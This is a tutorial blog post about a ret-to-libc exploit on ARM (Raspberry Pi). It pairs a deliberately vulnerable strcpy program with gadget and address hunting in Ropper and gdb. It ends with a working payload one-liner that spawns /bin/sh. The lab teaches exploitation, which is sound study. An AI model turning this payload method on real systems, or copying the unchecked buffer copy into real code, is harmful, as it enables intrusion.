ARM Exploitation with Raspberry Pi: ARM Ret-to-Libc
In this post we will learn how to exploit a vulnerable C
program using ret-to-libc
.
Before proceeding, you can read the previous posts:
ARM Exploitation with Raspberry Pi: Lab Setup
ARM Exploitation with Raspberry Pi: Basic Stack Overflow
ARM Exploitation with Raspberry Pi: Return Back to Program without Crashing
Vulnerable Program
We will use the following vulnerable program to exploit using ret-to-libc
.
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
// This is our vulnerable function
void vulnerable(char *arg) {
char buff[100];
// to print return address
printf("%p\n",&buff[0]);
strcpy(buff, arg);
}
// Pass argument in the vulnerable function
int main(int argc, char *argv[]) {
vulnerable(argv[1]);
return 0;
}
Payload Structure
We will use the following gadget
POP {R0, R4, PC}
As we have 100 B buffer size, we will have the return address at starting at 105th position. So, we will fill the first 104 Bytes with any character or NOP sled. Here, the example payload looks like as follows:
payload = 104 B NOP/Char + Gadget Address + R0 Value + R4 Value + PC value
Now, we will put the address of /bin/sh
in R0
and the address of system()
function in PC
. Here, R4 value is not important and we will put junk value there. This means we will execute the shell using system().
Now, the payload is complete:
payload = 104 B NOP + POP instr. Address + /bin/sh address + "JUNK" + system() address
Find Addresses
Find Base Address
Now, we need to find out the shared library dependency for a particular executable of a vulnerable program,
$ ldd ./overflow
linux-vdso.so.1 (0x76ffd000)
/usr/lib/arm-linux-gnueabihf/libarmmem.so (0x76fb8000)
libc.so.6 => /lib/arm-linux-gnueabihf/libc.so.6 (0x76e79000)
/lib/ld-linux-armhf.so.3 (0x76fce000)
Note: For larger/complex program the output is much longer. In that case, it is better to filter using grep
.
$ ldd ./overflow | grep "libc.so.6"
libc.so.6 => /lib/arm-linux-gnueabihf/libc.so.6 (0x76e47000)
The base address is required to obtain the final address of the gadgets.
Address of POP instruction
We are using the Raspbian Buster
, the gcc version is now $8$.
Now, to find the new address we use Ropper. Let’s first install the Ropper by installing particular frameworks using following commands:
pi@raspberry:~$ sudo pip install capstone
pi@raspberry:~$ sudo pip install filebytes
pi@raspberry:~$ sudo pip install keystone-engine
Now, let’s install Ropper:
pi@raspberry:~$ git clone https://github.com/sashs/Ropper.git
pi@raspberry:~$ cd Ropper
pi@raspberry:~$ python setup.py install
pi@raspberry:~$ ropper
We can also use the Ropper.py
file directly. Now, let’s find the gadget address using the following command:
pi@raspberry:~$ ./Ropper.py --file /lib/arm-linux-gnueabihf/libc.so.6 --search "pop {r0, r4, pc}"
[INFO] Load gadgets for section: LOAD
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
[INFO] Searching for gadgets: pop {r0, r4, pc}
[INFO] File: /lib/arm-linux-gnueabihf/libc.so.6
0x000791fc: pop {r0, r4, pc};
We need check it again using gdb
[Not necessary, we got our address.]
pi@raspberry:~$ gdb -q /lib/arm-linux-gnueabihf/libc.so.6
(gdb) x/i 0x000791fc
0x791fc <memmove+236>: pop {r0, r4, pc}
Now, we will add the address with the base address-
pi@raspberrypi:~$ python3
Python 3.7.3 (default, Dec 20 2019, 18:57:59)
[GCC 8.3.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>>
>>> hex(0x76e47000+0x000791fc)
'0x76ec01fc'
>>>
So, finally we have our required final address of the gadget for the target program.
Address of System()
Let’s find the address of the system using gdb
:
$ gdb -q ./overflow
GEF for linux ready, type `gef' to start, `gef config' to configure
79 commands loaded for GDB 7.12.0.20161007-git using Python engine 3.5
[*] 1 command could not be loaded, run `gef missing` to know why.
Reading symbols from ./overflow...(no debugging symbols found)...done.
gef-> break main
Breakpoint 1 at 0x104fc
gef-> run
Starting program: /home/pi/overflow
.......................................
.......................................
gef-> print system
$1 = {int (const char *)} 0x76e7f9c8 <__libc_system>
Address of /bin/sh
We can retrieve the address of /bin/sh
in the same way inside gdb
gef> find &system,+9999999,"/bin/sh"
0x76f72b6c
warning: Unable to access 16000 bytes of target memory at 0x76f82574, halting search.
1 pattern found.
So, the final address is : 0x76f72b6c
Final Payload
The padding should be upto the byte before return address starts. For example in our testbed we used 100 char arrays. Therefore, the return address should start from $105^{th}$ position and the padding should be 104 character or similar size of NoP sled.
Note that, the addresses should be in Little Endian
order.
$ ./overflow $(python -c 'print "A"*104+"\xfc\x01\xec\x76"+"\x6c\x2b\xf7\x76"+"JUNK"+"\xc8\xf9\xe7\x76"')
So, the output will look like as follows:
pi@raspberrypi:~/test$ ./overflow $(python -c 'print "A"*104+"\xfc\x01\xec\x76"+"\x6c\x2b\xf7\x76"+"JUNK"+"\xc8\xf9\xe7\x76"')
$ ls
overflow overflow.c
$ pwd
/home/pi/test
$
Bingo!!! Have fun!!!
Leave a comment